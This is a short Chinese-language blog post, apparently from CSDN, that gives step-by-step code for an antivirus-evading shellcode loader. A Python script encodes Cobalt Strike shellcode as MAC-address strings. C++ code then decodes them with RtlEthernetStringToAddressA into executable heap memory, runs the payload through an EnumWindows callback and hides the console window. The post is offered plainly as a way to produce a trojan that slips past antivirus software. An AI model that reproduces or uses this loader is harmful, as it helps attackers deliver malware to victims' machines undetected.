（记录向）Python_MAC加密&C++还原免杀（国内杀软基本通杀）

daxi0ng

已于 2022-09-02 11:15:22 修改

阅读量1k

点赞数 2

分类专栏：免杀文章标签： macos

于 2022-09-02 11:04:42 首次发布

本文链接：https://blog.csdn.net/qq_40989258/article/details/126658294

版权

免杀专栏收录该内容

4 篇文章 0 订阅

订阅专栏

1、首先生成CS的shellcode

2、讲shellcode放入python脚本加密为MAC地址形式

def convertToMAC(shellcode):
    if len(shellcode) % 6 != 0:
        print("\n[*] length:", len(shellcode) + (6 - (len(shellcode) % 6)))
        addNullbyte = b"\x00" * (6 - (len(shellcode) % 6))
        shellcode += addNullbyte
    mac = []
    for i in range(0, len(shellcode), 6):
        tmp_mac = ""
        for j in shellcode[i:i + 6]:
            if len(hex(j).replace("0x", "")) == 1:
                tmp_mac = tmp_mac + "0" + hex(j).replace("0x", "").upper() + "-"
            else:
                tmp_mac = tmp_mac + hex(j).replace("0x", "").upper() + "-"
        mac.append(tmp_mac[:-1])
    return mac

if __name__ == '__main__':
    buf = b'''shellcode_here'''
    u = convertToMAC(buf)
    print(str(u).replace("'", "\""))

3、使用c++的RtlEthernetStringToAddressA函数（该函数将以太网 MAC 地址的字符串表示形式转换为以太网地址的二进制格式）将shellcode转换，最后使用回调执行shellcode。

#include<Windows.h>
#include <iostream>
#include<ip2string.h>
#pragma comment(lib,"Ntdll.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // Windows 控制台程序 不弹 黑窗口


//将转换后的shellcode（shellcode->mac）
const char* mac_[] =
{
MAC_here
};

int main()
{
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//在进程的虚拟地址空间中保留空间
    void* SB = HeapAlloc(hc, 0, 0x100000);//申请内存
    DWORD_PTR hptr = (DWORD_PTR)SB;
    int elems = sizeof(mac_) / sizeof(mac_[0]);
    PCSTR Terminator = "";

    for (int i = 0; i < elems; i++) {

        if (RtlEthernetStringToAddressA(mac_[i], &Terminator, (DL_EUI48*)hptr) == STATUS_INVALID_PARAMETER)
        {
            printf("ERROR!");
            return 0;
        }
        hptr += 6;
    }
    EnumWindows((WNDENUMPROC)SB, 0);
}

4、生成免杀后的木马